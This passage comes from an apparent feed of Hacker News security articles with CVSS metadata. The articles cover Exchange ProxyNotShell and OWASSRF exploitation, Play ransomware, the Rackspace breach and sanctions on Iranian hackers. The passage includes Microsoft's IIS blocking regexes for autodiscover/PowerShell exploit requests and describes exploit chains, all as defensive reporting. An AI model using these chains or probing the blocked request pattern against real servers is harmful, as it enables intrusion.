\"(?=.*autodiscover)(?=.*powershell)\" \u2013 to be added to the blocking rule in IIS Manager to prevent exploitation attempts.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-08T05:13:00", "type": "thn", "title": "Microsoft Issues Improved Mitigations for Unpatched Exchange Server Vulnerabilities", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-10-10T03:51:40", "id": "THN:8200D2C2E1DD329D680C5E699177551B", "href": "https://thehackernews.com/2022/10/microsoft-issues-improved-mitigations.html", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-10-06T16:20:52", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEiLG9V9B_xVvwA7aFCGySTOO5wtWjfUUfXnD668vDSJkbzBIm2NPP6g1ky-ViCG-wKLpXABQxIlv8utmjMKQL51hpJiXyYY2TLTY38wdOqX0wsX_F8diipfii3BtEeoyjJyWWMKayJerKNP8K8LA9mMdq2btrtQu479xoi3zF86AABjwbqGkg-1x_DY/s728-e100/ms.jpg>)\n\nMicrosoft on Friday disclosed that a single activity group in August 2022 achieved initial access and breached Exchange servers by chaining the [two newly disclosed zero-day flaws](<https://thehackernews.com/2022/09/microsoft-confirms-2-new-exchange-zero.html>) in a limited set of attacks aimed at less than 10 organizations globally.\n\n\"These attacks installed the Chopper web shell to facilitate hands-on-keyboard access, which the attackers used to perform Active Directory reconnaissance and data exfiltration,\" the Microsoft Threat Intelligence Center (MSTIC) [said](<https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/>) in a new analysis.\n\nThe weaponization of the vulnerabilities is expected to ramp up in the coming days, Microsoft further warned, as malicious actors co-opt the exploits into their toolkits, including deploying ransomware, due to the \"highly privileged access Exchange systems confer onto an attacker.\"\n\nThe tech giant attributed the ongoing attacks with medium confidence to a state-sponsored organization, adding it was already investigating these attacks when the Zero Day Initiative disclosed the flaws to Microsoft Security Response Center (MSRC) earlier last month on September 8-9, 2022.\n\nThe two vulnerabilities have been collectively dubbed [**ProxyNotShell**](<https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9>), owing to the fact that \"it is the same path and SSRF/RCE pair\" as [ProxyShell](<https://thehackernews.com/2021/11/hackers-exploiting-proxylogon-and.html>) but with authentication, suggesting an incomplete patch.\n\nThe issues, which are strung together to achieve remote code execution, are listed below -\n\n * [**CVE-2022-41040**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41040>) (CVSS score: 8.8) - Microsoft Exchange Server Elevation of Privilege Vulnerability\n * [**CVE-2022-41082**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41082>) (CVSS score: 8.8) - Microsoft Exchange Server Remote Code Execution Vulnerability\n\n\"While these vulnerabilities require authentication, the authentication needed for exploitation can be that of a standard user,\" Microsoft said. \"Standard user credentials can be acquired via many different attacks, such as password spray or purchase via the cybercriminal economy.\"\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjDHuP8RcawOweo1l6ugi9Ob9HAQv5FloiZoBENRZJT1OGy1-icUmXQvdS86HsNfrxOCd9PP7M0XaqOZf1bLcVGic0MzVny5fGJtRDkn9gJzNIkyRzbf0NI5KIZSFcJkY_K7_R4TE6PtOAWo3h_NhgHlKy4YxwtTGQVxWAPzI6FaEI3z9CMmjvAJYMUZA/s728-e100/ms.jpg>)\n\nThe vulnerabilities were [first discovered](<https://thehackernews.com/2022/09/warning-new-unpatched-microsoft.html>) by Vietnamese cybersecurity company GTSC as part of its incident response efforts for an unnamed customer in August 2022. A Chinese threat actor is suspected to be behind the intrusions.\n\nThe development comes as the U.S. Cybersecurity and Infrastructure Security Agency (CISA) [added](<https://www.cisa.gov/uscert/ncas/current-activity/2022/09/30/cisa-adds-three-known-exploited-vulnerabilities-catalog>) the two Microsoft Exchange Server zero-day vulnerabilities to its Known Exploited Vulnerabilities (KEV) catalog, requiring federal agencies to apply the patches by October 21, 2022.\n\nMicrosoft said that it's working on an \"accelerated timeline\" to release a fix for the shortcomings. It has also [published a script](<https://aka.ms/EOMTv2>) for the following URL Rewrite mitigation steps that it said is \"successful in breaking current attack chains\" -\n\n * Open IIS Manager\n * Select Default Web Site\n * In the Feature View, click URL Rewrite\n * In the Actions pane on the right-hand side, click Add Rule(s)\u2026 \n * Select Request Blocking and click OK\n * Add the string \".*autodiscover\\\\.json.*\\@.*Powershell.*\" (excluding quotes)\n * Select Regular Expression under Using\n * Select Abort Request under How to block and then click OK\n * Expand the rule and select the rule with the pattern .*autodiscover\\\\.json.*\\@.*Powershell.* and click Edit under Conditions.\n * Change the Condition input from {URL} to {REQUEST_URI}\n\nAs additional prevention measures, the company is urging companies to enforce multi-factor authentication (MFA), disable [legacy authentication](<https://learn.microsoft.com/en-us/azure/active-directory/conditional-access/block-legacy-authentication#moving-away-from-legacy-authentication>), and educate users about [not accepting](<https://thehackernews.com/2022/09/uber-claims-no-sensitive-data-exposed.html>) unexpected two-factor authentication (2FA) prompts.\n\n\"Microsoft Exchange is a juicy target for threat actors to exploit for two primary reasons,\" Travis Smith, vice president of malware threat research at Qualys, told The Hacker News.\n\n\"First, Exchange [...] being directly connected to the internet creates an attack surface which is accessible from anywhere in the world, drastically increasing its risk of being attacked. Secondly, Exchange is a mission critical function -- organizations can't just unplug or turn off email without severely impacting their business in a negative way.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-01T06:36:00", "type": "thn", "title": "State-Sponsored Hackers Likely Exploited MS Exchange 0-Days Against ~10 Organizations", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-10-06T12:45:52", "id": "THN:A5B36072ED31304F26AF0879E3E5710E", "href": "https://thehackernews.com/2022/10/state-sponsored-hackers-likely.html", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-12-22T04:09:51", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhTLGmaNN3OFFmSILTclxE-UymYSclEFgrwvp76liyrsFGtPk5wpNGVl-AXdppW10UvY5aPmtLoqkxVC3ifpEx9XH3JarmYqPPQtscOXnAMl0K3lHF2nV6pcyicT2bu5U9BbJFd6hbBBVHswmATwzgzQEMc6GEUPcs4-k1yW0cjoEdfsN0LDRvVh5Ty/s728-e100/email-hacking.png>)\n\nThreat actors affiliated with a ransomware strain known as Play are leveraging a never-before-seen exploit chain that bypasses blocking rules for ProxyNotShell flaws in Microsoft Exchange Server to achieve remote code execution (RCE) through Outlook Web Access ([OWA](<https://en.wikipedia.org/wiki/Outlook_on_the_web>)).\n\n\"The new exploit method bypasses [URL rewrite mitigations](<https://thehackernews.com/2022/10/microsoft-issues-improved-mitigations.html>) for the [Autodiscover endpoint](<https://learn.microsoft.com/en-us/exchange/architecture/client-access/autodiscover>),\" CrowdStrike researchers Brian Pitchford, Erik Iker, and Nicolas Zilio [said](<https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/>) in a technical write-up published Tuesday.\n\nPlay ransomware, which first surfaced in June 2022, has been [revealed](<https://www.trendmicro.com/en_us/research/22/i/play-ransomware-s-attack-playbook-unmasks-it-as-another-hive-aff.html>) to adopt many tactics employed by other ransomware families such as [Hive](<https://thehackernews.com/2022/11/hive-ransomware-attackers-extorted-100.html>) and [Nokoyawa](<https://www.trendmicro.com/en_us/research/22/c/nokoyawa-ransomware-possibly-related-to-hive-.html>), the latter of which [upgraded to Rust](<https://www.zscaler.com/blogs/security-research/nokoyawa-ransomware-rust-or-bust>) in September 2022.\n\nThe cybersecurity company's investigations into several Play ransomware intrusions found that initial access to the target environments was not achieved by directly exploiting [CVE-2022-41040](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41040>), but rather through the OWA endpoint.\n\nDubbed **OWASSRF**, the technique likely takes advantage of another critical flaw tracked as [CVE-2022-41080](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41080>) (CVSS score: 8.8) to achieve privilege escalation, followed by abusing [CVE-2022-41082](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41082>) for remote code execution.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEh59pwm9Kxv252Uv99amN02oXTHDo8okfVqDQEPqxZy2wZk0tCTHx16xDzABz2QYvABQfBENatlbN2owTSezPh4jYOK-0bGPr_JyWKUPsX1nnLeX5X9za6Rfk5c-juoJI5Q9NT97ANp9X64VSnb_EWUp5s1jYoZJap_uzgruqlI0kYKYqqtMvM5hZQm/s728-e100/email-security.png>)\n\nIt's worth noting that both CVE-2022-41040 and CVE-2022-41080 stem from a case of server-side request forgery ([SSRF](<https://owasp.org/www-community/attacks/Server_Side_Request_Forgery>)), which permits an attacker to access unauthorized internal resources, in this case the [PowerShell remoting](<https://learn.microsoft.com/en-us/powershell/exchange/exchange-management-shell>) service.\n\nCrowdStrike said the successful initial access enabled the adversary to drop legitimate Plink and AnyDesk executables to maintain persistent access as well as take steps to purge Windows Event Logs on infected servers to conceal the malicious activity.\n\nAll three vulnerabilities were addressed by Microsoft as part of its [Patch Tuesday updates](<https://thehackernews.com/2022/11/install-latest-windows-update-asap.html>) for November 2022. It's, however, unclear if CVE-2022-41080 was actively exploited as a zero-day alongside CVE-2022-41040 and CVE-2022-41082.\n\nThe Windows maker, for its part, has tagged CVE-2022-41080 with an \"Exploitation More Likely\" assessment, implying it's possible for an attacker to create exploit code that could be utilized to reliably weaponize the flaw.\n\nCrowdStrike further noted that a proof-of-concept (PoC) Python script [discovered](<https://twitter.com/Purp1eW0lf/status/1602989967776808961>) and leaked by Huntress Labs researcher Dray Agha last week may have been put to use by the Play ransomware actors for initial access.\n\nThis is evidenced by the fact that the execution of the Python script made it possible to \"replicate the logs generated in recent Play ransomware attacks.\"\n\n\"Organizations should apply the November 8, 2022 patches for Exchange to prevent exploitation since the URL rewrite mitigations for ProxyNotShell are not effective against this exploit method,\" the researchers said.\n\n \n\n\nFound this article interesting? Follow us on [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-12-21T07:41:00", "type": "thn", "title": "Ransomware Hackers Using New Way to Bypass MS Exchange ProxyNotShell Mitigations", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2022-41040", "CVE-2022-41080", "CVE-2022-41082"], "modified": "2022-12-22T03:36:49", "id": "THN:DF2B360775F2B7F0C76A360FDA254FBA", "href": "https://thehackernews.com/2022/12/ransomware-hackers-using-new-way-to.html", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-05-09T12:38:05", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEjiGzDP_Q8TgakrIFP6H8c0NlSHHH4ztdEtesv8G-AaS-LvfiauO6JgcrFpPKfplpRuqYssvepWzyhQaLMIPqPzyt00vE0kNEL3qEg1k1YRQpWZouKa_km8jD-kuKbNBXugV_MhYndYW41kM6o2z77T4oOGQlDGhGk-HA0tZfdol-RO_fCE6o7N54uW>)\n\nThreat actors are exploiting ProxyLogon and ProxyShell exploits in unpatched Microsoft Exchange Servers as part of an ongoing spam campaign that leverages stolen email chains to bypass security software and deploy malware on vulnerable systems.\n\nThe findings come from Trend Micro following an investigation into a number of intrusions in the Middle East that culminated in the distribution of a never-before-seen loader dubbed SQUIRRELWAFFLE. First publicly [documented](<https://thehackernews.com/2021/10/hackers-using-squirrelwaffle-loader-to.html>) by Cisco Talos, the attacks are believed to have commenced in mid-September 2021 via laced Microsoft Office documents.\n\n\"It is known for sending its malicious emails as replies to pre-existing email chains, a tactic that lowers a victim's guard against malicious activities,\" researchers Mohamed Fahmy, Sherif Magdy, Abdelrhman Sharshar [said](<https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html>) in a report published last week. \"To be able to pull this off, we believe it involved the use of a chain of both ProxyLogon and ProxyShell exploits.\"\n\n[ProxyLogon](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) and [ProxyShell](<https://thehackernews.com/2021/08/microsoft-exchange-under-attack-with.html>) refer to a collection of flaws in Microsoft Exchange Servers that could enable a threat actor to elevate privileges and remotely execute arbitrary code, effectively granting the ability to take control of the vulnerable machines. While the ProxyLogon flaws were addressed in March, the ProxyShell bugs were patched in a series of updates released in May and July.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEhYwBTFRq5MuslNIXJAtZNZ-q9Ik0Wyu_z6HVG8loZsBaeJR_tXRLvm18OZvIJYeeOyYp0DVHZdMg8sdqe9H3ePEot8dMGuNuC25YWuyp09kuYsm_qh2nU_3dlFK7X2kVXn-DYmtklqChAj_2BOpas4TFiWcbPR3PtoX5RKukcpGn0sd1S8Ubdqo1bu>) \n--- \nDLL infection flow \n \nTrend Micro said it observed the use of public exploits for CVE-2021-26855 (ProxyLogon), CVE-2021-34473, and CVE-2021-34523 (ProxyShell) on three of the Exchange servers that were compromised in different intrusions, using the access to hijack legitimate email threads and send malicious spam messages as replies, thereby increasing the likelihood that unsuspecting recipients will open the emails.\n\n\"Delivering the malicious spam using this technique to reach all the internal domain users will decrease the possibility of detecting or stopping the attack, as the mail getaways will not be able to filter or quarantine any of these internal emails,\" the researchers said, adding the attackers behind the operation did not carry out lateral movement or install additional malware so as to stay under the radar and avoid triggering any alerts.\n\nThe attack chain involves rogue email messages containing a link that, when clicked, drops a Microsoft Excel or Word file. Opening the document, in turn, prompts the recipient to enable macros, ultimately leading to the download and execution of the SQUIRRELWAFFLE malware loader, which acts as a medium to fetch final-stage payloads such as Cobalt Strike and Qbot.\n\nThe development marks a new escalation in phishing campaigns where a threat actor has breached corporate Microsoft Exchange email servers to gain unauthorized access to their internal mail systems and distribute malicious emails in an attempt to infect users with malware.\n\n\"SQUIRRELWAFFLE campaigns should make users wary of the different tactics used to mask malicious emails and files,\" the researchers concluded. \"Emails that come from trusted contacts may not be enough of an indicator that whatever link or file included in the email is safe.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-22T11:47:00", "type": "thn", "title": "Hackers Exploiting ProxyLogon and ProxyShell Flaws in Spam Campaigns", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-11-23T07:33:36", "id": "THN:0D80EEB03C07D557AA62E071C7A7C619", "href": "https://thehackernews.com/2021/11/hackers-exploiting-proxylogon-and.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-01-07T18:11:10", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhIkYkTBU5KJGFe1OgGLpYygDiWxeko_-avcEdQlausI60efbG2CTSjXoushTX82kWSNdNGwqru9TyK8Ohoh9Af2DlFFuzSZEDV0NH_rRPaEYUi86D_fRS5OutucQG2fb-8zydnRbryW1mN5kn5PUKySHDQ1UTPRbRWn1T-eB2NPm0Jh80Md9edRKdq/s728-rj-e365/rackspace-breach.png>)\n\nCloud services provider Rackspace on Thursday confirmed that the ransomware gang known as **Play** was responsible for last month's breach.\n\nThe security incident, which took place on December 2, 2022, leveraged a previously unknown security exploit to gain initial access to the Rackspace Hosted Exchange email environment.\n\n\"This zero-day exploit is associated with [CVE-2022-41080](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41080>),\" the Texas-based company [said](<https://status.apps.rackspace.com/index/viewincidents?group=2>). \"Microsoft disclosed CVE-2022-41080 as a privilege escalation vulnerability and did not include notes for [it] being part of a remote code execution chain that was exploitable.\"\n\nRackspace's forensic investigation found that the threat actor accessed the Personal Storage Table ([.PST](<https://en.wikipedia.org/wiki/Personal_Storage_Table>)) of 27 customers out of a total of nearly 30,000 customers on the Hosted Exchange email environment.\n\nHowever, the company said there is no evidence the adversary viewed, misused, or distributed the customer's emails or data from those personal storage folders. It further said it intends to retire its Hosted Exchange platform as part of a planned migration to Microsoft 365.\n\nIt's not currently not known if Rackspace paid a ransom to the cybercriminals, but the disclosure follows a report from CrowdStrike last month that shed light on the new technique, dubbed [OWASSRF](<https://thehackernews.com/2022/12/ransomware-hackers-using-new-way-to.html>), employed by the Play ransomware actors.\n\nThe mechanism targets Exchange servers that are unpatched against the ProxyNotShell vulnerabilities ([CVE-2022-41040](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41040>) and [CVE-2022-41082](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41082>)) but have in place URL rewrite mitigations for the Autodiscover endpoint.\n\nThis involves an exploit chain comprising CVE-2022-41080 and CVE-2022-41082 to achieve remote code execution in a manner that bypasses the blocking rules through Outlook Web Access (OWA). The flaws were addressed by Microsoft in November 2022.\n\nThe Windows maker, in a statement shared with The Hacker News, urged customers to prioritize installing its [November 2022 Exchange Server updates](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2022-exchange-server-security-updates/ba-p/3669045>) and noted that the reported method targets vulnerable systems that have not applied the latest fixes.\n\n \n\n\nFound this article interesting? Follow us on [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-01-06T09:01:00", "type": "thn", "title": "Rackspace Confirms Play Ransomware Gang Responsible for Recent Breach", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2022-41040", "CVE-2022-41080", "CVE-2022-41082"], "modified": "2023-01-07T17:47:30", "id": "THN:A356406D6A8ADF4F4592DBAAEB6CDA74", "href": "https://thehackernews.com/2023/01/rackspace-confirms-play-ransomware-gang.html", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-09-16T04:03:41", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjUqmffIx48KtQdHxTXb4TQfvElel4yvoLc_Uq-nF3atp_DnKXEvX_r4s4FR-V9kItxokvkUgH3L-QP1uH3JrII_VtRNnXYXU3EYxwsreIbOgCkHKHN4AbWxtUPY5tKaH8u6YvYBd2oA_JReHSU1gNdaKY11tzzrlCHhUSTJzZr4yGRgnN-fUCAb2Mv/s728-e100/iranian-hackers.jpg>)\n\nThe U.S. Treasury Department's Office of Foreign Assets Control (OFAC) on Wednesday announced sweeping sanctions against ten individuals and two entities backed by Iran's Islamic Revolutionary Guard Corps (IRGC) for their involvement in ransomware attacks at least since October 2020.\n\nThe agency said the cyber activity mounted by the individuals is partially attributable to intrusion sets tracked under the names APT35, Charming Kitten, Nemesis Kitten, Phosphorus, and TunnelVision.\n\n\"This group has launched extensive campaigns against organizations and officials across the globe, particularly targeting U.S. and Middle Eastern defense, diplomatic, and government personnel, as well as private industries including media, energy, business services, and telecommunications,\" the Treasury [said](<https://home.treasury.gov/news/press-releases/jy0948>).\n\nThe Nemesis Kitten actor, which is also known as [Cobalt Mirage](<https://thehackernews.com/2022/05/iranian-hackers-leveraging-bitlocker.html>), [DEV-0270](<https://thehackernews.com/2022/09/microsoft-warns-of-ransomware-attacks.html>), and [UNC2448](<https://thehackernews.com/2022/09/iranian-apt42-launched-over-30.html>), has come under the scanner in recent months for its pattern of ransomware attacks for opportunistic revenue generation using Microsoft's built-in BitLocker tool to encrypt files on compromised devices.\n\nMicrosoft and Secureworks have characterized DEV-0270 as a subgroup of [Phosphorus](<https://thehackernews.com/2022/09/iranian-hackers-target-high-value.html>) (aka Cobalt Illusion), with ties to another actor referred to as [TunnelVision](<https://thehackernews.com/2022/02/iranian-hackers-targeting-vmware.html>). The Windows maker also assessed with low confidence that \"some of DEV-0270's ransomware attacks are a form of moonlighting for personal or company-specific revenue generation.\"\n\nWhat's more, independent analyses from the two cybersecurity firms as well as Google-owned [Mandiant](<https://thehackernews.com/2022/09/iranian-apt42-launched-over-30.html>) has revealed the group's connections to two companies Najee Technology (which functions under the aliases Secnerd and Lifeweb) and Afkar System, both of which have been subjected to U.S. sanctions.\n\nIt's worth noting that Najee Technology and Afkar System's connections to the Iranian intelligence agency were first flagged by an anonymous anti-Iranian regime entity called [Lab Dookhtegan](<https://thehackernews.com/2021/05/researchers-uncover-iranian-state.html>) [earlier](<https://mobile.twitter.com/LabDookhtegan2/status/1520355269695442945>) this [year](<https://mobile.twitter.com/LabDookhtegan2/status/1539960629867401218>).\n\n\"The model of Iranian government intelligence functions using contractors blurs the lines between the actions tasked by the government and the actions that the private company takes on its own initiative,\" Secureworks said in a [new report](<https://www.secureworks.com/blog/opsec-mistakes-reveal-cobalt-mirage-threat-actors>) detailing the activities of Cobalt Mirage.\n\nWhile exact links between the two companies and IRGC remain unclear, the method of private Iranian firms acting as fronts or providing support for intelligence operations is well established over the years, including that of [ITSecTeam (ITSEC), Mersad](<https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged>), [Emennet Pasargad](<https://thehackernews.com/2021/11/us-charged-2-iranians-hackers-for.html>), and [Rana Intelligence Computing Company](<https://thehackernews.com/2020/09/iranian-hackers-sanctioned.html>).\n\nOn top of that, the Secureworks probe into a June 2022 Cobalt Mirage incident showed that a PDF file containing the ransom note was created on December 17, 2021, by an \"Ahmad Khatibi\" and timestamped at UTC+03:30 time zone, which corresponds to the Iran Standard Time. Khatibi, incidentally, happens to be the CEO and owner of the Iranian company Afkar System.\n\nAhmad Khatibi Aghda is also part of the 10 individuals sanctioned by the U.S., alongside Mansour Ahmadi, the CEO of Najee Technology, and other employees of the two enterprises who are said to be complicit in targeting various networks globally by leveraging well-known security flaws to gain initial access to further follow-on attacks.\n\nSome of the [exploited flaws](<https://www.cisa.gov/uscert/ncas/alerts/aa22-257a>), according to a [joint cybersecurity advisory](<https://www.cisa.gov/uscert/ncas/current-activity/2022/09/14/iranian-islamic-revolutionary-guard-corps-affiliated-cyber-actors>) released by Australia, Canada, the U.K., and the U.S., as part of the IRGC-affiliated actor activity are as follows -\n\n * Fortinet FortiOS path traversal vulnerability ([CVE-2018-13379](<https://thehackernews.com/2021/09/hackers-leak-vpn-account-passwords-from.html>))\n * Fortinet FortiOS default configuration vulnerability ([CVE-2019-5591](<https://thehackernews.com/2021/08/unpatched-remote-hacking-zero-day-flaw.html>))\n * Fortinet FortiOS SSL VPN 2FA bypass vulnerability ([CVE-2020-12812](<https://thehackernews.com/2021/08/unpatched-remote-hacking-zero-day-flaw.html>))\n * [ProxyShell](<https://thehackernews.com/2021/08/hackers-actively-searching-for.html>) (CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207), and\n * [Log4Shell](<https://thehackernews.com/2021/12/new-apache-log4j-update-released-to.html>) (CVE-2021-44228, CVE-2021-45046, and/or CVE-2021-45105)\n\n\"Khatibi is among the cyber actors who gained unauthorized access to victim networks to encrypt the network with BitLocker and demand a ransom for the decryption keys,\" the U.S. government said, in addition to adding him to the FBI's [Most Wanted list](<https://www.fbi.gov/wanted/cyber/ahmad-khatibi-aghda>).\n\n\"He leased network infrastructure used in furtherance of this malicious cyber group's activities, he participated in compromising victims' networks, and he engaged in ransom negotiations with victims.\"\n\nCoinciding with the sanctions, the Justice Department separately [indicted](<https://www.justice.gov/usao-nj/pr/three-iranian-nationals-charged-engaging-computer-intrusions-and-ransomware-style>) Ahmadi, Khatibi, and a third Iranian national named Amir Hossein Nickaein Ravari for engaging in a criminal extortion scheme to inflict damage and losses to victims located in the U.S., Israel, and Iran.\n\nAll three individuals have been charged with one count of conspiring to commit computer fraud and related activity in connection with computers; one count of intentionally damaging a protected computer; and one count of transmitting a demand in relation to damaging a protected computer. Ahmadi has also been charged with one more count of intentionally damaging a protected computer.\n\nThat's not all. The U.S. State Department has also [announced monetary rewards](<https://www.state.gov/sanctioning-iranians-for-malicious-cyber-acts/>) of up to $10 million for any information about [Mansour, Khatibi, and Nikaeen](<https://rewardsforjustice.net/index/?jsf=jet-engine:rewards-grid&tax=cyber:3266>) and their whereabouts.\n\n\"These defendants may have been hacking and extorting victims \u2013 including critical infrastructure providers \u2013 for their personal gain, but the charges reflect how criminals can flourish in the safe haven that the Government of Iran has created and is responsible for,\" Assistant Attorney General Matthew Olsen said.\n\nThe development comes close on the heels of [sanctions](<https://thehackernews.com/2022/09/us-imposes-new-sanctions-on-iran-over.html>) imposed by the U.S. against Iran's Ministry of Intelligence and Security (MOIS) and its Minister of Intelligence, Esmaeil Khatib, for engaging in cyber-enabled activities against the nation and its allies.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-09-15T06:49:00", "type": "thn", "title": "U.S. Charges 3 Iranian Hackers and Sanctions Several Others Over Ransomware Attacks", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-5591", "CVE-2020-12812", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-09-16T03:17:57", "id": 